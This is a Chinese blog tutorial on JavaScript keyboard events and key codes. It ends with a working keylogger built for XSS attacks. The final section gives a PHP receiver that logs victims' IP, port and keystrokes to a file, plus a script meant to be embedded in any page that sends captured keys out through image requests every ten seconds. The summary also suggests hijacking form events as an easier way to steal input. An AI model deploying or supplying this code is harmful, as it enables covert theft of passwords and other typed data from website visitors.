最新消息:

JS键盘记录学习

js代码 admin 2953浏览 0评论

一、按键事件

二、按键码与按键字符

三、其他按键属性

四、浏览器兼容性总结

五、代码实现

六、总结

一、按键事件

浏览器有三种键盘按键事件:keyup、keydown、keypress,对应的事件处理函数有onkeyup、onkeydown、onkeypress。keypress是在用户按下可打印字符时触发,keydown是在用户按下任意键时触发,keyup是在用户释放按下的任意键时触发。

按一个键时产生的事件依此是keydown、keypress、keyup。三个事件中,keydown和keyup较为底层,keypress较为高级。所谓高级是指keypress会将复合按键(如shift+1)进行解析返回一个可打印的字符(如!),而keydown和keypress只是简单的返回相应的按键。

注意,keypress是存在浏览器兼容性问题的,如在其他浏览器下按下功能键(F1-F12)是不会触发keypress,而在firefox中按下功能键是可以触发的。

现详细描述一下各种浏览器下的按键事件触发情况:

Tab键

  • IE:  只触发keydown事件。
  • firefox:触发keydown和keypress事件。
  • Chrome:

回车键

  • IE/Firefox/Chrome下三个按键事件都触发。按键码是13,不过转换成字符后显示为空格,因此在代码中要做处理。

shift键

  • 三个浏览器下都只触发keyup和keydown.

alt键

  • 三个浏览器下都只触发keyup和keydown.

Caps Lock键

  • 三个浏览器下都只触发keyup和keydown.

Backspace后退键

  • IE和chrome下,只触发keyup和keydown事件。按键码为8
  • firefox下,三个事件都触发。  按键码为8

方向键

  • 只触发keyup和keypress事件

 

二、按键码与按键字符

触发按键事件后,要想获取按键码必须使用事件的属性来获取到底按的是哪个键。获取按键的按键码同样存在着浏览器的兼容性问题:在IE下用事件的keyCode属性,在Firefox下使用.which和charCode属性,在Opera下使用keyCode和which属性,谷歌的话三个都可以。

即:

IE:  keyCode存储按键的按键码或字符码(keyup和keydown为按键码,keypress为字符码,下同)

firefox:keyCode始终为0,。在keyup和keydown时,charCode为0,which为按键码。keypress时charCode和which一样存储字符码。

Opera: keyCode和which始终相同,存储按键码或字符码。

因此,为了要兼容浏览器,可以采取下面的代码来完美获取信息:

	document.onkeypress=function(ev)
	{
		var oEvent=window.event||ev;
		var cChar=oEvent.keyCode||oEvent.which||oEvent.charCode;
		cChar=String.fromCharCode(cChar);
	}

其中,String.fromCharCode()函数可以将按键码或字符码转换成为相应的字符。

按键码的对应关系:

A <——–> 65
B <——–> 66
C <——–> 67
D <——–> 68
E <——–> 69
F <——–> 70
G <——–> 71
H <——–> 72
I <——–> 73
J <——–> 74
K <——–> 75
L <——–> 76
M <——–> 77
N <——–> 78
O <——–> 79
P <——–> 80
Q <——–> 81
R <——–> 82
S <——–> 83
T <——–> 84
U <——–> 85
V <——–> 86
W <——–> 87
X <——–> 88
Y <——–> 89
Z <——–> 90
0 <——–> 48
1 <——–> 49

2 <——–> 50
3 <——–> 51
4 <——–> 52
5 <——–> 53
6 <——–> 54
7 <——–> 55
8 <——–> 56
9 <——–> 57
数字键盘 1 <——–> 96
数字键盘 2 <——–> 97
数字键盘 3 <——–> 98
数字键盘 4 <——–> 99
数字键盘 5 <——–> 100
数字键盘 6 <——–> 101
数字键盘 7 <——–> 102
数字键盘 8 <——–> 103
数字键盘 9 <——–> 104
数字键盘 0 <——–> 105
乘号 <——–> 106
加号 <——–> 107
Enter <——–> 108
减号 <——–> 109
小数点 <——–> 110
除号 <——–> 111
F1 <——–> 112
F2 <——–> 113
F3 <——–> 114
F4 <——–> 115
F5 <——–> 116
F6 <——–> 117
F7 <——–> 118
F8 <——–> 119
F9 <——–> 120
F10 <——–> 121
F11 <——–> 122
F12 <——–> 123
F13 <——–> 124
F14 <——–> 125
F15 <——–> 126
Backspace <——–> 8
Tab <——–> 9
Clear <——–> 12
Enter <——–> 13
Shift <——–> 16
Control <——–> 17
Alt <——–> 18
Caps Lock <——–> 20
Esc <——–> 27
空格键 <——–> 32
Page Up <——–> 33
Page Down <——–> 34
End <——–> 35
Home <——–> 36
左箭头 <——–> 37
向上箭头 <——–> 38
右箭头 <——–> 39
向下箭头 <——–> 40
Insert <——–> 45
Delete <——–> 46
Help <——–> 47
Num Lock <——–> 144
; : <——–> 186
= + <——–> 187
– _ <——–> 189
/ ? <——–> 191
` ~ <——–> 192
[ { <——–> 219
| <——–> 220
] } <——–> 221
” ‘ <——–> 222

三、其他按键属性

事件对象除了keyCode等获取按键码或字符码的属性,还有三个有用属性:ctrlKey/shiftKey/altKey,这三个属性看名称就知道是干什么的,如ctrlKey是检测当前是否按着ctrl键,如果按着ctrl键则ctrlKey就为true。这三个按键属性主要用于检测复合按键。

四、浏览器兼容性总结

在获取键盘按键的过程中要涉及到两处浏览器兼容性问题:一处是事件的获取,一处是事件按键码的获取。总的来说可以用下面的方式来解决(注意,在firefox下必须是window.event否则会报错,因为firefox是通过ev获取的事件):

	document.onkeypress=function(ev)
	{
		var oEvent=window.event||ev;
		var cChar=oEvent.keyCode||oEvent.which||oEvent.charCode;
		cChar=String.fromCharCode(cChar);
	}

五、代码

说明:退格、制表、回车、空格、PageUpPageDownEnd、Home、方向键、删除键由于转换为字符时显示有问题,不容易识别,所以在keypress中将其屏蔽(不做处理),将他们放到keydown中处理来以明显的方式显示。

退格:8
制表:9
回车:13
空格:32
PageUp:33
PageDown:34
End:35
Home:36
方向键:37、38、39、40
删除键:46

ps:在实际测试过程中,使用keydown/keyup获取的键值与keypress的不一样,如按个小写a,keypress正常输出a,而keyup/keydown返回大写A。因此,对于可打印字符要使用keypress事件来获取按键值。

代码如下:

<!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8">
<title>键盘记录</title>
<script src="./key.js" ></script>
</head>

<body style="background:black; color: white; font-size:50px;">
	<input type="text" >
	<div id="div1">
	</div>
</body>
</html>

key.js代码如下:

var sKeys='';
window.onload=function ()
{
	document.onkeypress=function(ev)
	{
		var oEvent=window.event||ev;
		var iKey=oEvent.keyCode||oEvent.which||oEvent.charCode;
		//屏蔽特殊字符,交给onkeydown去处理
		var cKey;
		if((iKey==8) ||(iKey==9) ||(iKey==13) ||(iKey>31 &&iKey<41) ||(iKey==46))
		{
			cKey='';
		}
		else
		{
			cKey=String.fromCharCode(iKey);
		}
		sKeys+=cKey;
	};
	document.onkeydown=function(ev)
	{
		var oEvent=window.event||ev;
		var iKey=oEvent.keyCode||oEvent.which||oEvent.charCode;
		//处理特殊字符
		var cKey;
		switch(iKey)
		{
			case 8:
				cKey='[退格]';
				break;
			case 9:
				cKey='[制表]';
				break;
			case 13:
				cKey='[回车]';
				break;
			case 32:
				cKey='[空格]';
				break;
			case 33:
				cKey='[PageUp]';
				break;
			case 34:
				cKey='[PageDown]';
				break;
			case 35:
				cKey='[End]';
				break;
			case 36:
				cKey='[Home]';
				break;
			case 37:
				cKey='[向左]';
				break;
			case 38:
				cKey='[向上]';
				break;
			case 39:
				cKey='[向右]';
				break;
			case 40:
				cKey='[向下]';
				break;
			case 46:
				cKey='[删除]';
				break;
			default:
				cKey='';
		}		
		sKeys+=cKey;
	};

};

function sendKey()
{
	var oDiv1=document.getElementById('div1');
	oDiv1.innerHTML=sKeys;
	//sKeys='';
}
setInterval(sendKey,100);

 

ps:实际在xss系统中用到的代码如下:

接收端key.php:

<!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8">
<title>接收键盘信息</title>
<?php
	function getIp()
	{
		$ip=false;
		if(!empty($_SERVER['HTTP_CLIENT_IP']))
		{
			$ip=$_SERVER['HTTP_CLIENT_IP'];
		}
		else
		{
			$ip=$_SERVER['REMOTE_ADDR'];
		}
	}
	$key=$_GET['key'];  //获取按键信息
	//获取客户端信息
	$referer=$_SERVER['HTTP_REFERER'];
	$ip=getIp();
	$user_agent=$_SERVER['HTTP_USER_AGENT'];
	$port=$_SERVER['REMOTE_PORT'];
	$fp=fopen('data.txt','a+');
	fwrite($fp,'IP:'.$ip."\r\n");
	fwrite($fp,'PORT:'.$port."\r\n");
	fwrite($fp,'key:'.$key."\r\n\r\n");
	fclose($fp);

?>

js代码(只要以外链的方式嵌入任何页面即可):

var sKeys='';
window.onload=function ()
{
	document.onkeypress=function(ev)
	{
		var oEvent=window.event||ev;
		var iKey=oEvent.keyCode||oEvent.which||oEvent.charCode;
		//屏蔽特殊字符,交给onkeydown去处理
		var cKey;
		if((iKey==8) ||(iKey==9) ||(iKey==13) ||(iKey>31 &&iKey<41) ||(iKey==46))
		{
			cKey='';
		}
		else
		{
			cKey=String.fromCharCode(iKey);
		}
		sKeys+=cKey;
	};
	document.onkeydown=function(ev)
	{
		var oEvent=window.event||ev;
		var iKey=oEvent.keyCode||oEvent.which||oEvent.charCode;
		//处理特殊字符
		var cKey;
		switch(iKey)
		{
			case 8:
				cKey='[退格]';
				break;
			case 9:
				cKey='[制表]';
				break;
			case 13:
				cKey='[回车]';
				break;
			case 32:
				cKey='[空格]';
				break;
			case 33:
				cKey='[PageUp]';
				break;
			case 34:
				cKey='[PageDown]';
				break;
			case 35:
				cKey='[End]';
				break;
			case 36:
				cKey='[Home]';
				break;
			case 37:
				cKey='[向左]';
				break;
			case 38:
				cKey='[向上]';
				break;
			case 39:
				cKey='[向右]';
				break;
			case 40:
				cKey='[向下]';
				break;
			case 46:
				cKey='[删除]';
				break;
			default:
				cKey='';
		}		
		sKeys+=cKey;
	};

};

function sendKey()
{
	if (sKeys !='')
	{
		new Image().src="http://localhost/jsstudy/key.php?key="+sKeys;
	}	
	sKeys='';
}
setInterval(sendKey,10000);

六、总结

键盘记录在实际使用过程中用处不大,还不如劫持表单项的各种事件方便,比如表单项的onchange/onblur/onclick等,当发生这些事件后直接读取表单项的值就可以了。同时,键盘记录仅在全英文(ASCII)输入下才有效,在输入时,如果存在中文输入框是记录不了击键事件的。

参考资料:

1、js 实现键盘记录 兼容FireFox和IE      http://jinglingshu.org/?p=398

2、onkeypress,onkeydown,onkeyup区别 和 javascript event.keycode值大全    http://wallboy.iteye.com/blog/730228

3、XSS的键盘记录    http://jinglingshu.org/?p=409

4、键盘记录器  《web前段黑客技术揭秘》p219

对中文按键的获取参考以下文章:

1、http://calefy.org/2012/11/12/javascript-key-events-and-input-control.html

2、http://www.cnblogs.com/owenChen/p/3215421.html

转载请注明:jinglingshu的博客 » JS键盘记录学习

发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址